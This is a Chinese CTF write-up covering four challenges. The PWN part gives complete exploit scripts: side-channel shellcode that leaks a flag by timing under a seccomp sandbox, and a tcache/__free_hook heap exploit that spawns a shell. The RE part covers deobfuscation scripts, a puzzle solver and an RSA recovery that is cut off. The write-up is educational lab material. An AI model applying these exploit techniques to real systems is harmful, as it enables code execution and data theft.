PWN
secretcode
类似的题目遇到过很多次,主要原理都是通过侧信道来窃取数据,这次则是在原来的基础上加大了限制来提高利用难度。
沙箱分析
使用 IDA 打开后查看伪代码
根据程序的内容可以大概得出程序的意义,在开启沙箱保护的情况下,要求你输入一段无 NULL (由于使用 strcpy 来复制内容)的 shellcode,并执行得到 Flag。
遇到这种情况,我们首先应该尝试使用 seccomp-tools 来查看沙箱内容,再根据沙箱的要求来思考做题方法,但是这里尝试使用 seccomp-tools 直接报错
这里提示的是 Permission denied 的错误,所以我们在前面加个 sudo 来查看沙箱内容
沙箱的内容简单翻译后就是,只允许 open 和 read 这两个系统调用,并且要求 read 打开 fd 大于 0x14
解决 gdb 附加问题
发现使用 gdb 调试会出错,无法成功附加,问题大概也是因为没有 root 权限,这里的解决思路是 patch 掉代码中相应的代码。
尝试单步调试查找问题来源,发现在以下函数执行后,gdb 程序报错
此指令在 IDA 中对应的代码为
故我们使用快捷键 Ctrl + Alt + K 调用出 KeyPatch 的界面,将其内容修改为 nop 指令
修改之后再执行 gdb 调试就不会出现问题
编写 Shellcode
这一部应该是题目的核心,要求我们写一段在 0x40 大小内的 shellcode,实现侧信道攻击得到 Flag 数据。并且因为这里 read 函数的限制,我们也无法二次读入一段 shellcode 来简化 shellcode 编写过程。
这里的侧信道攻击指的就是通过程序延迟时间等信息来泄露出一些不可以直接输出的内容,在我的理解中,SQL 注入中的时间延迟盲注也是类似的一种侧信道攻击。而在这道题目中,我们就给程序设置卡死或出错退出,来推断出汇编中执行指令的 True 或者 False。
我们这里就是利用这个思路,再配合上二分查找,这样就能够在短短几次中快速的确定 Flag 中某位的值。
具体过程
我们可以根据 open 的返回值(RAX)再结合 cmp 指令来确定此时打开的 fd 是否满足沙箱要求(fd > 0x14),直到满足要求后再调用 read 读取 Flag 数据,再使用 ja 指令判定某位(i)的 Flag 是否大于某个值(mid)。
根据以上思路编写的 Shellcode
open:
/* open(file='./flag', oflag=0, mode=0) */
/* push './flag\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f2e
xor [rsp], rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
push SYS_open /* 2 */
pop rax
syscall
cmp ax, 0x15
jne open
mov rdi, rax
xor rax, rax
mov cl, 0xff
mov esi, ecx
mov edx, esi
syscall
loop:
mov al, [rdx + {i}]
cmp al, {mid}
ja loop
EXP
import time
from pwn import *
context.log_level = "ERROR"
context.arch = "amd64"
flag = "flag{"
for i in range(len(flag), 0x20):
l = 0
r = 127
while l < r:
mid = (l + r) >> 1
sh = process('./chall')
# sh = remote('47.104.169.149', 25178)
mmap = 0x10000
orw_payload = "open:" + shellcraft.open('./flag')
orw_payload += '''cmp ax, 0x15
jne open
mov rdi, rax
xor rax, rax
mov cl, 0xff
mov esi, ecx
mov edx, esi
syscall
loop:
mov al, [rdx + %d]
cmp al, %d
ja loop
''' % (i, mid)
shellcode = asm(orw_payload)
sh.sendafter('======== Input your secret code ========', shellcode)
st = time.time()
try:
while True:
cur = sh.recv(timeout=0.01)
if time.time() - st > 0.05:
l = mid + 1
break
except EOFError:
r = mid
sh.close()
flag += chr(l)
print flag
normal-babynote
非常典型的菜单堆题,又被打成了签到题。
Ubuntu GLIBC 2.27-3ubuntu1.4,存在 tcache double free 检测,无沙箱。
函数分析
Add 函数
要求申请的 size 在 0x2F0 内,并且最多申请 16 个堆块,也就是允许申请可以放入 Tcache 中的堆块,可以方便我们利用。
Edit 函数
使用 abs32 对 offset 进行取整并且对 size 进行取模,看到 abs 函数就要非常敏感,因为在储存有符号数的时候,补码的范围决定了最小的负数(-0x80000000)取绝对值后的结果无法表示,所以此时取绝对值后的结果还是(-0x80000000),类似的还有当最小的负数除以 -1 的时候,会触发算数异常 SIGFPE,另一种触发方法就是除 0。
结合这里对 get_int 的分析,发现这里确实存在 abs 漏洞,允许 offset 为负数从而导致向前溢出。
同时这里的 read_content 函数会用 0 截断字符串且不存在 off by null 的漏洞。
Delete 函数
free 之后把野指针置 0,这样的做法是正确的。
Show 函数
使用 puts 输出堆块内容,但是由于在 add 和 edit 的过程中会用 0 截断,从而导致这里需要先构造出堆重叠才能够泄露出 libc 地址。
漏洞利用
计算出合适的 SIZE
由于存在向前溢出且版本是 glibc2.27(存在 Tcache),所以我们就会想办法向前溢出到 Tcache Struct 那块空间来实现申请任意地址堆块。由于向前溢出的长度取决于我们申请堆块的长度取模后的结果,所以我们需要选择一个合适的长度以至于可以正好向前溢出到 Tcache Struct,我这里编写一个程序来爆破计算。
#include <stdio.h>
int main()
{
for (int i = 1; i <= 0x2f0; i++)
{
printf("SIZE = 0x%X, OFFSET = -0x%X\n", i, 0x80000000 % i);
}
return 0;
}
观察结果,发现 SIZE = 0x2C4 的溢出长度最长,能够满足我们的要求。
构造堆重叠
我们能够覆盖到 Tcache Struct 后还需要考虑如何泄露出 libc 地址,对于这道题来说,我们可以想办法先释放一个堆块到 Tcache Struct,然后再通过部分覆盖把之前释放的堆块的地址末尾字节踩为 0,再申请得到就可以构造出堆重叠。得到堆重叠后,再次覆盖把 tcache 的 counts 改为 7,再次释放就可以把堆块放到 unsortedbin 中,堆块的 fd 指针上存留的就是 libc 地址。
劫持__free_hook
由于这道题没有开沙箱,所以我们直接改 Tcache Struct 到__free_hook,再劫持其内容为 system 函数的指针,释放某个内容为“sh”的堆块时就会调用 system("sh")来 getshell。
EXP
from pwn import *
elf = None
libc = None
file_name = "./chall"
# context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
libc = None
try:
data = os.popen("ldd {}".format(dic + file_name)).read()
for i in data.split('\n'):
libc_info = i.split("=>")
if len(libc_info) == 2:
if "libc" in libc_info[0]:
libc_path = libc_info[1].split(' (')
if len(libc_path) == 2:
libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
return libc
except:
pass
if context.arch == 'amd64':
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
elif context.arch == 'i386':
try:
libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
except:
libc = ELF("/lib32/libc.so.6", checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
return s.process(file_name)
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
def get_gdb(sh, gdbscript=None, addr=0, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript=gdbscript)
elif addr is not None:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
log.success("breakpoint_addr --> " + hex(text_base + addr))
gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
else:
gdb.attach(sh)
if stop:
raw_input()
def Attack(target=None, sh=None, elf=None, libc=None):
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
while try_count < 3:
try_count += 1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
if target is not None:
sh = target.get_sh()
target.sh = sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)
return flag
def choice(idx):
sh.sendlineafter("> ", str(idx))
def add(size, content):
choice(1)
sh.sendlineafter("size> ", str(size))
sh.sendlineafter('msg> ', content)
def edit(idx, offset, content):
choice(2)
sh.sendlineafter("idx> ", str(idx))
sh.sendlineafter("offset> ", str(offset))
sh.sendafter("msg> ", content)
def delete(idx):
choice(3)
sh.sendlineafter("idx> ", str(idx))
def show(idx):
choice(4)
sh.sendlineafter("idx> ", str(idx))
def pwn(sh, elf, libc):
context.log_level = "debug"
add(0x58, 'sh\x00') # 0
add(0x2c4, 'wjh') # 1
add(0x168, 'wjh') # 2
add(0x88, 'wjh') # 3
add(0x88, 'wjh') # 4
delete(4)
edit(1, -0x80000000, p64(0) + p64(0x251) + '\x00' * 7 + '\x07' + '\x00' * (0x78 - 8) + '\n')
add(0x88, 'wjh') # 5
edit(1, -0x80000000, p64(0) + p64(0x251) + '\x00' * 7 + '\x07' + '\x00' * (0x78 - 8) + '\n')
delete(3)
show(5)
libc_base = get_address(sh, True, info='libc_base:\t', offset=-0x3ebca0)
free_hook_addr = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f550
edit(1, -0x80000000, p64(0) + p64(0x251) + '\x00' * 7 + '\x01' + '\x00' * (0x78 - 8) + p64(free_hook_addr) + '\n')
add(0x88, p64(system_addr))
# gdb.attach(sh, "b *$rebase(0x0000000000000E43)")
delete(0)
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
sh.close()
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
总结
这次的PWN的题目虽然难度适中,但是很有新意,有我最喜欢的构造shellcode的题目,也有比较有创意的向前溢出堆题,这些题目的利用方法和分析过程都非常值得大家学习。侧信道的题目在目前已经出现过好多次了,从一个新颖的手法转变成为一个应该比较熟悉的利用方法,在我的 EXP 中存在其他 Writeup 从来未有的二分查找来快速确定字节内容,这样的方法速度相较于传统方法要快很多,我认为值得大家当做一个模板存下来。
RE
abc
题目中存在着大量的花指令来妨碍我们查看伪代码,我们这里尝试编写 IDAPython 脚本来去除花指令。
花指令分析
TYPE1
call $+5
其实相当于往栈上写一个返回地址(0x400ECB),并且由于 CALL 指令的长度就是 5,所以实际上程序在执行 CALL 之后的 RIP (0x400ECB)不变。
add qword ptr [rsp], 0Ch
相当于把前面压如的 RIP 地址 + 0xC,计算可以得知(0x400ECB + 0xC = 0x400ED7),也就是说实际上后面解析出来的 leave 和 retn 并不会执行,只是起到了混淆反编译器的作用。
jmp sub_4016C8
这里跳转的实际上是一个 plt 函数位置,但是这里使用了 jmp sub_4016C8 这种方法调用,在函数内部 retn 的时候就会直接返回到 0x400ED7 这个位置。
根据以上分析可知,实际上程序所做的就是将 call sub_4016C8 混淆为以上指令来阻碍 IDA Pro 的分析,而我们所需要做的,就是把上述代码还原为 call sub_4016C8。
还原效果
TYPE2
插入两部分的无效片段
插入了一个函数
push rbp
mov rbp, rsp
leave
retn
程序会调用这个函数,但是实际上没有任何意义(为了混淆 IDA 识别)
执行后会使用 jmp 直接跳出,jmp 后的 leave 和 retn 不会被执行。
其特征为垃圾代码存在于 call 函数和 jmp 指令之间,只需要 nop 掉这一部分的内容即可。
还原效果
TYPE3
这个实际上就是 leave;retn,我们直接还原即可
还原效果
修复 PLT 符号信息
解决以上三种花指令后,查看伪代码就稍微好看一些了,但是 PLT 符号仍然没有被加载显示
开头的那三个调用明显是 setbuf,但是没有被显示,我怀疑是因为 Dyn 这里没有 DT_JMPREL,导致 IDA 没有识别
但是实际上在 DT_RELA 中存在 R_X86_64_JUMP_SLOT 信息,也就是我们可以根据这里的信息来模拟 PltResolver 从而恢复 Plt 的符号数据 。
这部分的思路来自于 https://github.com/veritas501/PltResolver
还原常量数据
仔细观察就可以发现在程序中存在着大量的常量混淆,使用 ROR8 ROL8 ROR4 ROL4 这样的移位指令来妨碍分析
查看汇编代码发现格式基本上如下所示
我们可以直接计算这些操作,最终优化为直接的 mov rax, xxx
具体的实现逻辑就是,搜索 mov rax, xxx 这样的指令,然后以此指令向下遍历,遍历到 xor,rol,ror 这样可以直接优化的指令则模拟计算,计算完成后再修改 mov rax 指令。在计算的过程中需要考虑到操作数是 32 位还是 64 位,对于不同的操作手法。
还原效果
程序虽然还有一层取反操作后才输出,但是这对于我们分析程序逻辑已经影响不大了,所以我们接下来就可以直接进行分析。
主程序分析
程序要求输入一串操作序列,输入的序列可以操作内部的 box 进行移动
这个移动的过程就是在不溢出过边界的情况下,可以让 box 中的 -1 向上下左右任意一个方向移动(交换相邻块)
简单的研究后,可以发现这个游戏其实就是 15 puzzle-game
也就是要求操作类似上面的空白块(可以上下左右移动),最后让空白块的位置停留在右下角且其他内容依次增加
这一部分就是 check 的代码,如果你的操作序列完成了游戏,那么就会使用 system 来 cat flag,这样做的原因是,这种游戏的路径通常是有多条的,使用远程服务器验证序列的方式来 cat flag,可以让多解都能够得到 Flag,这也是一种常用的解决方案。
这里我通过搜索在 github 上找到一个脚本可以跑出结果
#include <iostream>
#include <string>
#include <vector>
#include <map>
#include <stack>
#include <queue>
#include <cstdlib>
using namespace std;
const string SOLUTION = "010203040506070809101112131415SS";
struct Node {
string state;
string path;
};
bool goalTest(Node a) {
return (a.state.compare(SOLUTION) == 0);
}
string swapNew(string state, unsigned int a, unsigned int b) {
string newState(state);
string temp = newState.substr(a, 2);
newState[a] = newState[b];
newState[a + 1] = newState[b + 1];
newState[b] = temp[0];
newState[b + 1] = temp[1];
return newState;
}
void generateSuccessors(Node curNode, vector<Node>& possible_paths) {
int loc = curNode.state.find("SS");
// cout << "SS: " << loc << endl;
if (loc > 7) { //can move up?e
Node newNode;
newNode.state = swapNew(curNode.state, loc, loc - 8);
newNode.path = curNode.path;
newNode.path += 'u';
possible_paths.push_back(newNode);
}
if (loc < 24) { //can move down?
Node newNode;
newNode.state = swapNew(curNode.state, loc, loc + 8);
newNode.path = curNode.path;
newNode.path += 'd';
possible_paths.push_back(newNode);
}
if (loc % 8 < 6) { //can move right?
Node newNode;
newNode.state = swapNew(curNode.state, loc, loc + 2);
newNode.path = curNode.path;
newNode.path += 'r';
possible_paths.push_back(newNode);
}
if (loc % 8 > 1) { //can move left?
Node newNode;
newNode.state = swapNew(curNode.state, loc, loc - 2);
newNode.path = curNode.path;
newNode.path += 'l';
possible_paths.push_back(newNode);
}
}
Node bfs(Node startNode) {
queue<Node> frontier; //list for next nodes to expand
frontier.push(startNode);
map<string, int> expanded; //keeps track of nodes visited
int numExpanded = 0;
int maxFrontier = 0;
while (!frontier.empty()) {
Node curNode = frontier.front();
frontier.pop();
numExpanded += 1;
expanded[curNode.state] = 1;
vector<Node> nextNodes;
generateSuccessors(curNode, nextNodes);
for (unsigned int i = 0; i < nextNodes.size(); i++) {
if (goalTest(nextNodes[i])) {
cout << "Expanded: " << numExpanded << " nodes" << endl;
cout << "Max Frontier: " << maxFrontier << " nodes" << endl;
cout << nextNodes[i].state << endl;
return nextNodes[i];
}
if (expanded.find(nextNodes[i].state) != expanded.end()) {
continue;
}
frontier.push(nextNodes[i]);
if (frontier.size() > maxFrontier) {
maxFrontier = frontier.size();
}
}
}
}
Node dfs(Node startNode, int maxDepth = 80) {
stack<Node> frontier;
frontier.push(startNode);
map<string, int> expanded;
int numExpanded = 0;
int maxFrontier = 0;
while (!frontier.empty()) {
Node curNode = frontier.top();
frontier.pop();
expanded[curNode.state] = curNode.path.length();
numExpanded += 1;
vector<Node> nextNodes;
//cout << curNode.path << endl;
generateSuccessors(curNode, nextNodes);
for (unsigned int i = 0; i < nextNodes.size(); i++) {
if (nextNodes[i].path.length() > maxDepth) {
continue;
}
if (goalTest(nextNodes[i])) {
cout << "Expanded: " << numExpanded << " nodes" << endl;
cout << "Max Frontier: " << maxFrontier << " nodes" << endl;
return nextNodes[i];
}
if (expanded.find(nextNodes[i].state) != expanded.end()
&& expanded[nextNodes[i].state] < nextNodes[i].path.length()) {
continue;
}
frontier.push(nextNodes[i]);
if (frontier.size() > maxFrontier) {
maxFrontier = frontier.size();
}
}
}
return startNode;
}
Node ittdfs(Node startNode) {
for (unsigned int i = 1; i < 80; i++) {
//cout << "current iteration: " << i << endl;
Node solved = dfs(startNode, i);
if (goalTest(solved)) {
//cout << "max depth: " << i << endl;
return solved;
}
}
return startNode;
}
int main(int argc, char* argv[]) {
Node startNode;
startNode.state = "";
int method = 4;
startNode.state = "011002030513060409SS071114151208";
if (startNode.state.length() != 32) {
cout << "Please enter the state of the puzzle using 2 digits for each position"
<< " and SS for the empty space" << endl;
cout << "Example Usage: " << argv[0] << "010203040506070809101112131415SS" << endl;
return 1;
}
// vector<Node> test;
// generateSuccessors(startNode,test);
// for (int i = 0; i < test.size(); i++){
// cout << test[i].state << " " << test[i].path << endl;
int depth;
Node solved;
switch (method) {
case 1: //bfs
cout << "BFS USED" << endl;
solved = bfs(startNode);
break;
case 2: //dfs
cout << "DFS USED" << endl;
solved = dfs(startNode);
break;
case 3: //limited dfs
cout << "depth limited DFS USED" << endl;
if (argc < 4) {
cout << "Need a third parameter for maximum depth" << endl;
return 1;
}
depth = atoi(argv[3]);
solved = dfs(startNode, depth);
break;
case 4:
cout << "ITTERATIVE DFS USED" << endl;
solved = ittdfs(startNode);
break;
}
if (!goalTest(solved)) {
cout << "No solution found" << endl;
return 1;
}
cout << "path to solution: " << solved.path << endl;
return 0;
}
等待程序跑完后,我们替换操作指令为程序所设定的,最终得到操作序列
$$%@@#$#@#@%%%$$$###@@@
提交操作序列到远程的服务器,最终即可得到 FLAG 数据。
IDAPython 脚本
其实这道题的花指令量不算大,所以手动处理也是可以的,但是相对于手动处理,使用脚本进行批量处理的进阶要更高,所以在赛后我尝试使用 IDAPython 来处理这个程序中的花指令,并借此机会学习 IDAPython。在此分享一下我的脚本,虽然不是最优的写法,但是在此题中也算够用。
import ida_ida
import idaapi
import idautils
import idc
def patch_raw(address, patch_data, size):
ea = address
orig_data = ''
while ea < (address + size):
if not idc.has_value(idc.get_full_flags(ea)):
print("FAILED to read data at 0x{0:X}".format(ea))
break
orig_byte = idc.get_wide_byte(ea)
orig_data += chr(orig_byte)
patch_byte = patch_data[ea - address]
if patch_byte != orig_byte:
# patch one byte
if idaapi.patch_byte(ea, patch_byte) != 1:
print("FAILED to patch byte at 0x{0:X} [0x{1:X}]".format(ea, patch_byte))
break
ea += 1
return (ea - address, orig_data)
def nop(addr, endaddr):
while (addr < endaddr):
idc.patch_byte(addr, 0x90)
addr += 1
def undefine(addr, endaddr):
while addr < endaddr:
idc.del_items(addr, 0)
addr += 1
def GetDyn():
phoff = idc.get_qword(ida_ida.inf_get_min_ea() + 0x20) + ida_ida.inf_get_min_ea()
phnum = idc.get_wide_word(ida_ida.inf_get_min_ea() + 0x38)
phentsize = idc.get_wide_word(ida_ida.inf_get_min_ea() + 0x36)
for i in range(phnum):
p_type = idc.get_wide_dword(phoff + phentsize * i)
if p_type == 2: # PY_DYNAMIC
dyn_addr = idc.get_qword(phoff + phentsize * i + 0x10)
return dyn_addr
def ParseDyn(dyn, tag):
idx = 0
while True:
v1, v2 = idc.get_qword(dyn + idx * 0x10), idc.get_qword(dyn + idx * 0x10 + 8)
if v1 == 0 and v2 == 0:
return
if v1 == tag:
return v2
idx += 1
def SetFuncFlags(ea):
func_flags = idc.get_func_attr(ea, idc.FUNCATTR_FLAGS)
func_flags |= 0x84 # FUNC_THUNK|FUNC_LIB
idc.set_func_attr(ea, idc.FUNCATTR_FLAGS, func_flags)
def PltResolver(rela, strtab, symtab):
idx = 0
while True:
r_off = idc.get_qword(rela + 0x18 * idx)
r_info1 = idc.get_wide_dword(rela + 0x18 * idx + 0x8)
r_info2 = idc.get_wide_dword(rela + 0x18 * idx + 0xc)
r_addend = idc.get_qword(rela + 0x18 * idx + 0x10)
if r_off > 0x7fffffff:
return
if r_info1 == 7:
st_name = idc.get_wide_dword(symtab + r_info2 * 0x18)
name = idc.get_strlit_contents(strtab + st_name)
# rename got
idc.set_name(r_off, name.decode("ascii") + '_ptr')
plt_func = idc.get_qword(r_off)
# rename plt
idc.set_name(plt_func, 'j_' + name.decode("ascii"))
SetFuncFlags(plt_func)
# rename plt.sec
for addr in idautils.DataRefsTo(r_off):
plt_sec_func = idaapi.get_func(addr)
if plt_sec_func:
plt_sec_func_addr = plt_sec_func.start_ea
idc.set_name(plt_sec_func_addr, '_' + name.decode("ascii"))
SetFuncFlags(plt_sec_func_addr)
else:
print("[!] idaapi.get_func({}) failed".format(hex(addr)))
idx += 1
def rol(n, k, word_size=None):
k = k % word_size
n = (n << k) | (n >> (word_size - k))
n &= (1 << word_size) - 1
return n
def ror(n, k, word_size=None):
return rol(n, -k, word_size)
def dejunkcode(addr, endaddr):
while addr < endaddr:
idc.create_insn(addr)
# TYPE 1
if idc.print_insn_mnem(addr) == 'call' and idc.get_operand_value(addr, 0) == addr + 5:
if idc.print_insn_mnem(addr + 5) == 'add' and idc.get_operand_value(addr + 5, 0) == 4: # rsp
add_size = idc.get_operand_value(addr + 5, 1)
if idc.print_insn_mnem(addr + 0xa) == 'jmp':
idc.patch_byte(addr + 0xa, 0xE8)
call_addr = idc.get_operand_value(addr + 0xa, 0)
nop(addr, addr + 0xa)
next_op = addr + 0x5 + add_size
nop(addr + 0xa + 0x5, next_op)
addr = next_op
continue
# TYPE 2
if idc.print_insn_mnem(addr) == 'call' and idc.print_insn_mnem(addr + 5) == 'jmp':
call_addr = idc.get_operand_value(addr, 0)
if idc.get_bytes(call_addr, 6) == b'\x55\x48\x89\xE5\xC9\xC3':
'''
push rbp
mov rbp, rsp
leave
retn
'''
nop(addr, addr + 5) # nop call
nop(addr + 0xa, call_addr + 6)
undefine(call_addr, call_addr + 6)
# TYPE 3
if idc.print_insn_mnem(addr) == 'leave':
if idc.print_insn_mnem(addr + 1) == 'add' and \
idc.get_operand_value(addr + 1,0) == 4 and idc.get_operand_value(addr + 1, 1) == 8: #add rsp, 8
if idc.print_insn_mnem(addr + 1 + 4) == 'jmp' and idc.get_operand_value(addr + 1 + 4,
0) == 0xfffffffffffffff8: # [rsp - 8]
nop(addr + 1, addr + 1 + 4 + 4)
idc.patch_byte(addr + 1 + 4 + 3, 0xC3)
# TYPE 4
REGS = [0, 1] #[RAX, RCX]
if idc.print_insn_mnem(addr) == 'mov' and \
(idc.get_operand_type(addr, 0) == idc.o_reg and idc.get_operand_value(addr, 0) in REGS)\
and idc.get_operand_type(addr, 1) == idc.o_imm: # rax
if idc.get_item_size(addr) > 5:
op2_size = 8
else:
op2_size = 4
op2 = idc.get_operand_value(addr, 1)
next_op = addr
print('begin:\t' + hex(addr))
while next_op < endaddr:
next_op += idc.get_item_size(next_op)
if idc.get_operand_type(next_op, 0) == idc.o_reg and idc.get_operand_value(next_op, 0) in REGS\
and idc.get_operand_type(next_op, 1) == idc.o_imm: # mov rax|rcx, xxx
next_op_insn = idc.print_insn_mnem(next_op)
da = idc.get_operand_value(next_op, 1)
log_data = next_op_insn + " " + hex(op2) + ", " + hex(da) + " -> "
if next_op_insn == "rol":
op2 = rol(op2, da, 8 * op2_size)
elif next_op_insn == "ror":
op2 = ror(op2, da, 8 * op2_size)
elif next_op_insn == "xor":
op2 = op2 ^ da
if op2_size == 8:
op2 &= 0xffffffffffffffff
else:
op2 &= 0xffffffff
else:
break
log_data += hex(op2)
print(log_data)
else:
break
print("end:\t", hex(next_op))
if op2_size == 8:
patch_raw(addr + 2, op2.to_bytes(length=op2_size, byteorder='little'), op2_size) #mov rax, xxx
nop(addr + 0xA, next_op)
else:
patch_raw(addr + 1, op2.to_bytes(length=op2_size, byteorder='little'), op2_size) # mov rax, xxx
nop(addr + 5, next_op)
addr = next_op
continue
addr += idc.get_item_size(addr)
dejunkcode(0x0000000000400672, 0x000000000040151B)
dyn = GetDyn()
print("Elf64_Dyn:\t" + hex(dyn))
strtab = ParseDyn(dyn, 0x5)
symtab = ParseDyn(dyn, 0x6)
rela = ParseDyn(dyn, 0x7)
print("DT_STRTAB:\t" + hex(strtab))
print("DT_SYMTAB:\t" + hex(symtab))
print("DT_RELA:\t" + hex(rela))
PltResolver(rela, strtab, symtab)
executable_pyc
上面的题目,我觉得难度都蛮大的,不过都很不幸被打成了签到题,这可能就是线上比赛所必须要面对的吧。而这道题目直到比赛结束也只有 2 解,在比赛中我也没有做出,赛后复现后在这里进行分享,感谢密码爷的帮助~
还原字节码至源码
这道题目所给的是一个 pyc 文件,但是对文件进行了混淆,使得直接使用工具进行转化为源码报错,混淆总共有两处,我们尝试更改源码即可反编译得到字节码内容。
我们这里使用调试的方法来得到混淆的位置并尝试还原
import sys
import decompyle3
decompyle3.decompile_file(r"C:\en.pyc", outstream=sys.stdout)
直接执行以上程序发现程序卡在
在 pyc 文件中搜索(0x4f),并且修改为 0(使其不溢出)
修改之后我们就可以查看字节码信息了,到这里其实就可以尝试手动恢复了,但是我继续尝试直接恢复出源码的信息。
可以看到字节码的开头是这样的两行
L. 1 0 JUMP_FORWARD 4 'to 4'
2 LOAD_CONST 0
4_0 COME_FROM 0 '0'
4 LOAD_CONST 0
6 LOAD_CONST None
我们可以知道实际上执行的时候会直接跳过第二行的内容(存在溢出的 0x4f),但是对于反编译器来说,会对字节码进行逐行解析,因此导致了反编译认为此处存在非法指令。
我们这里直接把开头的这四个字节的内容替换为 09(NOP)指令
并且在 decompyle3/semantics/pysource.py 中这个位置增加以下代码来删除 NOP 指令(可以根据搜索关键字来找到)
i = 0
while i < len(tokens):
if tokens[i].kind == 'NOP':
del tokens[i]
else:
i += 1
修改后,程序就会在另一处报错
Instruction context:
L. 38 16 LOAD_GLOBAL 63 63
18 LOAD_FAST 77 '77'
-> 20 CALL_FUNCTION_31 31 '31 positional arguments'
22 LOAD_CONST 512
24 COMPARE_OP <
26 POP_JUMP_IF_TRUE 47 'to 47'
28 LOAD_GLOBAL AssertionError
30 RAISE_VARARGS_1 1 'exception instance'
32_0 COME_FROM 10 '10'
意思应该就是这里 CALL_FUNCTION_31 存在错误(31 的意思是有 31 个参数要传入函数),这个明显是过多的,这里我经过尝试,发现修改为 1 即可不报错,具体的原因我不得而知,希望有知道的师傅可以在评论区指点一番!
再次执行即可得到源码数据
import gmpy2 as g
from Crypto.Util.number import long_to_bytes, bytes_to_long
import random
def gen_num(n_bits):
res = 0
for i in range(n_bits):
if res != 0:
res <<= 1
else:
res |= random.choice([0, 1])
return res
def gen_prime(n_bits):
res = gen_num(n_bits)
while not g.is_prime(res):
b = 1
while b != 0:
res, b = res ^ b, (res & b) << 1
return res
def po(a, b, n):
res = 1
aa = a
while b != 0:
if b & 1 == 1:
res = res * aa % n
else:
aa *= aa
b >>= 1
return res % n
def e2(m):
assert type(m) == bytes
l = len(m) // 2
m1 = bytes_to_long(m[:l])
m2 = bytes_to_long(m[l:])
p = gen_prime(1024)
q = gen_prime(1024)
pp = g.next_prime(p + 2333)
qq = g.next_prime(q + 2333)
e = g.next_prime(65535)
ee = g.next_prime(e)
n = p * q
nn = pp * qq
c1 = long_to_bytes(pow(m1, e, n))
c2 = long_to_bytes(pow(m2, ee, nn))
print(str(n), nn.digits(), (c1 + c2).hex())
return c1 + c2
if __name__ == '__main__':
import sys
if len(sys.argv) >= 2:
e2(sys.argv[1].encode())
else:
import base64 as B
flag = B.b64decode(b'ZmxhZ3t0aGlzaXNhZmFrZWZsYWdhZ2Fhc2FzaGRhc2hkc2hkaH0=')
e2(flag)
解密 Flag
这一部分的操作实际上完全就是一道 Crypto 的题目,我在比赛过程中就是卡在了这里,赛后我问了群里的密码师傅(感谢!!),最终问题得到了解决,这里简单的说一下解法和我的理解。
next_prime 这个函数寻找的质数与传入的参数基本上差值都在 1500 以内,所以 pp 和 qq 这两个质数实际上是非常接近 p 和 q 这两个质数的,而且在可爆破的范围内,设为 d1 和 d2。
所以可以得到
计算得到 p 和 q,pp 和 qq,由于 flag 内容是两部分 bytes 拼接,所以可以爆破分隔位置求解。
计算程序
import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long
n = 10300808326934539089496666241808264289631957459372648156286399524715435483257526083909012656240599916663153630994400397551123967736269088895097145175999170121832669199408651009372742448196961434772052680714475103278704994244915332148949308972258132346198706995878511207707020032852291909422169657384059305615332901933166314692127020030962059133945677194815714731744932280037687773557589292839426111679593131496468880818820566335362063945141576571029271455695757725169819071536590541808603312689890186432713168331831945391117398124164372551511615664022982639779869597584768094658974144703654232643726744397158318139843
nn = 10300808326934539089496666241808264289631957459372648156286399524715435483257526083909012656240599916663153630994400397551123967736269088895097145175999170121832669199408651009372742448196961434772052680714475103278704994244915332148949308972258132346198706995878511207707020032852291909422169657384059306119730985949350246133999803589372738154347587848281413687500584822677442973180875153089761224816081452749380588888095064009160267372694200256546854314017937003988172151851703041691419537865664897608475932582537945754540823276273979713144072687287826518630644255675609067675836382036436064703619178779628644141463
